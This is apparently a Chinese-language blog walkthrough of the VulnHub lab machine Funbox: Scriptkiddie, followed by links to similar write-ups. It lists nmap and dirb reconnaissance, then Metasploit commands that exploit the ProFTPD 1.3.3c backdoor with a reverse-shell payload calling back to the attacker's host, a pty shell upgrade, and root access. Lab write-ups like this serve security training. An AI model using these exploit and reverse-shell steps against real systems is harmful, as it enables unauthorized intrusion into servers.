一、环境搭建

靶官网机下载地址：Funbox: Scriptkiddie ~ VulnHub

百度云盘下载链接: 百度网盘请输入提取码提取码: i4a9

二、信息收集

1.nmap命令扫描靶机

先用ifconfig查看kali的IP，因为kali和靶机都是NAT模式下，所以用 nmap 192.168.101.0/24 扫描得到靶机ip

再使用命令查看靶机开放的端口和协议：nmap -sV -A 192.168.101.112

2.利用扫描到端口

（1）开放21、22、80等端口，先访问80端口吧

（2）进行目录探测，看看他有没有给我们一些提示：dirb http://192.168.101.112

（3）发现利用WordPress网站这条路行不通

3.SearchSploit漏洞查找工具

（1）利用21端口，在kali输入：searchsploit ProFTPD 1.3.3c

发现可以利用的后门代码

三、渗透

msfconsole框架

1.搜索proFTPD 1.3.3c可利用的脚本：search ProFTPD 1.3.3c

2.使用该脚本：use exploit/unix/ftp/proftpd_133c_backdoor

3.查看需要设置的参数：show options

4.设置RHOSTS(靶机):set RHOSTS 192.168.101.112

5.查看一下payloads的脚本:show payloads

使用反向6.链接的脚本:set payloads 3

查看要设置参数:show options

7.设置LHOST(攻击机): set LHOST 192.168.101.10

8.使用run开启攻击:

优化命令执行终端，执行下面命令进入python交互式(注意要下载python环境才能运行):

python3 -c ‘import pty;pty.spawn(“/bin/bash”)’

9.进入到root，发现了一个flag文件

靶场练习第二十天~vulnhub靶场之Funbox: Scriptkiddie相关推荐

靶场练习第一天~vulnhub靶场之Me-and-My-Girlfriend-1
兄弟们第一天打vulnhub靶场,我kali连靶场ip都扫不到,泪奔了,不说了开整注意: vm虚拟机里面的编辑下面的虚拟机网络编辑器,把除了NAT模式外的模式,其他模式不启动. 至于为什么要这样操作 ...
靶场练习第二十二天~vulnhub靶场之Momentum-2
一.准备工作靶机下载地址:Momentum: 2 ~ VulnHub 1.查看kali的ip 使用命令ifconfig 2.使用nmap命令 nmap 192.168.101.0/24 查看开放的端 ...
靶场练习第十二天~vulnhub靶场之dc-4
一.准备工作 1.靶机下载链接链接: 百度网盘请输入提取码提取码: 3hq4 2.用ifconfig查看kali的ip 二.信息收集 1.nmap的信息收集 (1)主机发现命令:nmap 19 ...
靶场练习第二天~vulnhub靶场之 THE PLANETS: EARTH
前期准备: 靶机下载链接: https://pan.baidu.com/s/1_w8OZOPVsQaojq2rnKcdRA 提取码: gguw kali攻击机ip:192.168.101.10 靶机地 ...
VulnHub靶场系列：Flick
VulnHub靶场系列:Flick 今天意外看到一个VulnHub上的一个靶场的WriteUp,觉得挺有意思,所以自己试着做一遍并记录下来. 环境部署: 下载靶场并导入到VMware中: https: ...
Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权)
Vulnhub靶场渗透测试系列bulldog(命令注入和sudo提权) 靶机地址:https://www.vulnhub.com/entry/bulldog-1%2C211/ 下载将其导入VMware ...
vulnhub靶场，bulldog1
vulnhub靶场,bulldog1 环境准备靶机下载地址:https://www.vulnhub.com/entry/bulldog-1,211/ 攻击机:kali(192.168.109.128 ...
vulnhub靶场，Monitoring
vulnhub靶场,Monitoring 环境准备靶机下载地址:https://www.vulnhub.com/entry/monitoring-1,555/ 攻击机:kali(192.168.10 ...
vulnhub靶场{GoldenEye-v1靶场实战}
远赴人间今鸿雁.一睹人间盛世言. GoldenEye-v1 环境: vulnhub靶场链接: https://www.vulnhub.com/entry/goldeneye-1,240/ kali主机 ...

靶场练习第二十天~vulnhub靶场之Funbox: Scriptkiddie